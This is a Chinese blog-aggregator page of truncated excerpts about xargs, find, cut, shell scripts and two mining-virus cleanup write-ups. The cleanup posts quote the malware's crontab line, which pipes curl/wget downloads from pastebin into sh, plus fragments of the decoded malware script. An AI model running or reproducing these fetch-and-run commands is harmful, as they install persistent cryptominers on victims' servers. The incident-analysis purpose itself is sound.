xargs

linux命令_文件目录操作命令

自古美人都是妖i 提交于 2020-02-08 00:32:16
# linux命令--文件和目录操作命令 pwd "print working directory" 打印工作目录的绝对路径 范例: 在bash命令行显示当前用户的完整路径 系统Bash命令行的提示符是由一个称为PSI的系统环境变量控制的。 修改PSI变量对应的值。 page 15 cd cd - 切换到当前用户上一次所在的目录路径 tree -d 只显示目录 -f 显示每个文件的全路径 -i 不显示树枝,常与-f参数配合使用 -L level 便利目录的最大层数,level为大于0的正整数 -F 不同文件类型结尾加不同符号 mkdir -p 递归创建目录 -v 显示创建过程 -m 设置目录的默认权限 范例: 克隆目录结构 tree -fid --noreport olfboy >> ~/oldboy.txt cd /tmp mkdir -p `cat ~/oldboy.txt` # mkdir命令后可以接很多目录名来批量创建目录。 tree -d /tmp/oldboy touch 有两个功能: 一是创建新的空文件;二是改变已有文件的时间戳属性。 touch stu{1..5} 批量创建文件 GNU/Linux 的文件有三种类型的时间戳 Access: 2018-07-17 14:05:03.361270580 +0800 # 最后访问文件的时间 Modify: 2018-07

xargs命令

十年热恋 提交于 2020-02-05 22:23:17
管道 [root@node01 ~]# echo '--help' | cat --help echo '--help' | cat 该命令输出的是echo的内容,也就是说将echo的内容当作cat处理的文件内容了,实际上就是echo命令的输出通过管道定向到cat的输入了。然后cat从其标准输入中读取待处理的文本内容。这等价于在test.txt文件中有一行字符 '--help' 然后运行 cat test.txt 的效果。 xargs echo '--help' | xargs cat 输出的是xargs的帮助信息 而 echo '--help' | xargs cat 等价于 cat --help 什么意思呢,就是xargs将其接受的字符串 --help 做成cat的一个命令参数来运行cat命令,同样 echo 'test.c test.cpp' | xargs cat 等价于 cat test.c test.cpp 此时会将test.c和test.cpp的内容都显示出来。 -d 选项 [root@node01 ~]# echo '11@22@33' | xargs -d '@' echo 11 22 33 指定以@符号分割参数,所以等价于 echo 11 22 33 相当于给echo传递了3个参数,分别是11、22、33 -p 选项

linux之find的使用

陌路散爱 提交于 2020-02-05 14:59:43
基本语法   find [查找目录] [选项] [查找规则] [查找完后的操作] 即:find pathname -option -condition [-print -exec -ok …] 选项参数 -amin       # 查找在系统中最后N分钟访问的文件 -anewer<参考文件或目录>:   查找其存取时间较指定文件或目录的存取时间更接近现在的文件或目录; -atime -n +n #按文件访问时间来查GIN: 0px"> -cmin<分钟>: 查找在指定时间之时被更改过的文件或目录; -cnewer<参考文件或目录> 查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录; -ctime -n +n #按文件创建时间来查找文件,-n指n天以内,+n指n天以前 -daystart: 从本日开始计算时间; -depth: 从指定目录下最深层的子目录开始查找; -expty: 寻找文件大小为0 Byte的文件,或目录下没有任何子目录或文件的空目录; -exec<执行指令>: 假设find指令的回传值为True,就执行该指令; -false: 将find指令的回传值皆设为False; -fls<列表文件>: 此参数的效果和指定“-ls”参数类似,但会把结果保存为指定的列表文件; -follow: #如果遇到符号链接文件,就跟踪链接所指的文件 -fprint<列表文件>

cut,xargs,sort,tr,rename命令解析

对着背影说爱祢 提交于 2020-02-04 06:18:20
cut 文件内容查看 显示行中的指定部分,删除文件中指定字段 显示文件的内容,类似于下的 type命令。 语法: cut(选项)(参数) 选项: -b:仅显示行中指定直接范围的内容; -c:仅显示行中指定范围的字符; -d:指定字段的分隔符,默认的字段分隔符为“TAB”; -f:显示指定字段的内容; -n:与“-b”选项连用,不分割多字节字符; --complement:补足被选择的字节、字符或字段; --out-delimiter=<字段分隔符>:指定输出内容是的字段分割符; --help:显示指令的帮助信息; --version:显示指令的版本信息。 参数: 文件:指定要进行内容过滤的文件 ================================================================================== xargs xargs用作替换工具,读取输入数据重新格式化后输出。 定义一个测试文件,内有多行文本数据: cat test.txt a b c d e f g h i j k l m n o p q r s t u v w x y z 多行输入单行输出: cat test.txt | xargs a b c d e f g h i j k l m n o p q r s t u v w x y z -n选项 多行输出: cat

Bash script to mkdir on each line of a file that has been split by a delimiter?

此生再无相见时 提交于 2020-02-02 08:25:10
问题 Trying to figure out how to iterate through a .txt file (filemappings.txt) line by line, then split each line using tab ( \t ) as a delimiter so that we can create the directory specified on the right of the tab ( mkdir -p ). Reading filemappings.txt and then splitting each line by tab server/ /client/app/ server/a/ /client/app/a/ server/b/ /client/app/b/ Would turn into mkdir -p /client/app/ mkdir -p /client/app/a/ mkdir -p /client/app/b/ Would xargs be a good option? Why or why not? 回答1:

linux下得管道命令

大兔子大兔子 提交于 2020-01-29 01:21:32
linux系统中管道命令得表现形式是 竖线 也就是 | 例如: netstat -ano | grep 'CLOSW_WAIT' | awk '{print $6 }' | uniq -c 命令就是将管道前得命令输出作为管道后得命令输入。 但是也有很多命令是不支持管道得,那么怎么办呢,比如查找完文件后,需要对每个文件做处理,理论上这里是个for循环,没办法作为管道命令一次性输出给管道后得命令 这个时候xargs命令就是在这种场景下使得管道前得输出可以递归给管道后使用以下为参数 -a file 从文件中读入作为sdtin -e flag ,注意有的时候可能会是-E,flag必须是一个以空格分隔的标志,当xargs分析到含有flag这个标志的时候就停止。 -p 当每次执行一个argument的时候询问一次用户。 -n num 后面加次数,表示命令在执行的时候一次用的argument的个数,默认是用所有的。 -t 表示先打印命令,然后再执行。 -i 或者是-I,这得看linux支持了,将xargs的每项名称,一般是一行一行赋值给 { } ,可以用 { } 代替。 -r no-run-if-empty 当xargs的输入为空的时候则停止xargs,不用再去执行了。 -s num 命令行的最大字符数,指的是 xargs 后面那个命令的最大命令行字符数。 -L num 从标准输入一次读取

springboot项目启动与停止命令

安稳与你 提交于 2020-01-25 14:23:38
start(){ ps aux | grep nginx | grep -v grep | awk '{print $2}' | xargs kill -9 ps aux | grep appserver-0.0.1-SNAPSHOT.jar | grep -v grep | awk '{print $2}' | xargs kill -9 /usr/sbin/nginx -c /etc/nginx/nginx.conf nohup java -jar /usr/liuheyoulu/JAR/appserver-0.0.1-SNAPSHOT.jar > /usr/liuheyoulu/JAR/liuheyoulu.out 2>&1 & } stop(){ ps aux | grep nginx | grep -v grep | awk '{print $2}' | xargs kill -9 ps aux | grep appserver-0.0.1-SNAPSHOT.jar | grep -v grep | awk '{print $2}' | xargs kill -9 } case "$1" in "start") start ;; "stop") stop ;; *) esac 重命名为:xxx.sh /usr/liuheyoulu/liuhe_war.sh start

卸载python3

萝らか妹 提交于 2020-01-24 21:04:42
rpm - qa| grep python3|xargs rpm -ev --allmatches --nodeps 卸载pyhton3 whereis python3 |xargs rm -frv 删除所有残余文件 成功卸载! whereis python 查看现有安装的 python 来源: https://www.cnblogs.com/GodZhe/p/12232551.html

记一次生产主机中挖矿病毒\"kintegrityds\"处理过程!

时光毁灭记忆、已成空白 提交于 2020-01-23 20:44:03
【记一次生产挖矿病毒处理过程】: 可能性:webaap用户密码泄露、Jenkins/redis弱口令等。 1、监控到生产主机一直load告警 2、进服务器 top查看进程,发现挖矿病毒进程,此进程持续消耗cpu,kill掉还会自动启动。 PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 10059 webapp 20 0 43612 9504 0 S 241.0 0.1 5:49.77 /tmp/kintegrityds 3、查看crontab -l */10 * * * * (curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh 4、分析定时任务: 浏览器打开:https://pastebin.com/raw/wDBa7jCQ 得到: (curl -fsSL https://pastebin.com/raw/CBEphEbb||wget -q -O- https://pastebin.com/raw/CBEphEbb)|sed 's/\r//'|sh xshell执行: [webapp@vm_0_17_centos ~]$ (curl -fsSL https://pastebin.com

挖矿病毒 qW3xT.2 最终解决方案

独自空忆成欢 提交于 2020-01-23 20:41:59
转自:https://blog.csdn.net/hgx13467479678/article/details/82347473 1,cpu 100%, 用top 查看cpu100 2,删掉此进程 cpu还是 100% 3,估计是进程被隐藏了 4,定时任务多了一个执行任务 5:打开连接 https://pastebin.com/raw/xbY7p5Tb 获取如下内容 6:打开 https://pastebin.com/raw/uuYVPLXd ,发现是一个Base64编码字符串, 7:用Base64解码此内容得到如下脚本内容 #!/bin/bash SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin function kills() { pkill -f sourplum pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius rm -rf /tmp/*index_bak* rm -rf /tmp/*httpd.conf* rm -rf /tmp/*httpd.conf rm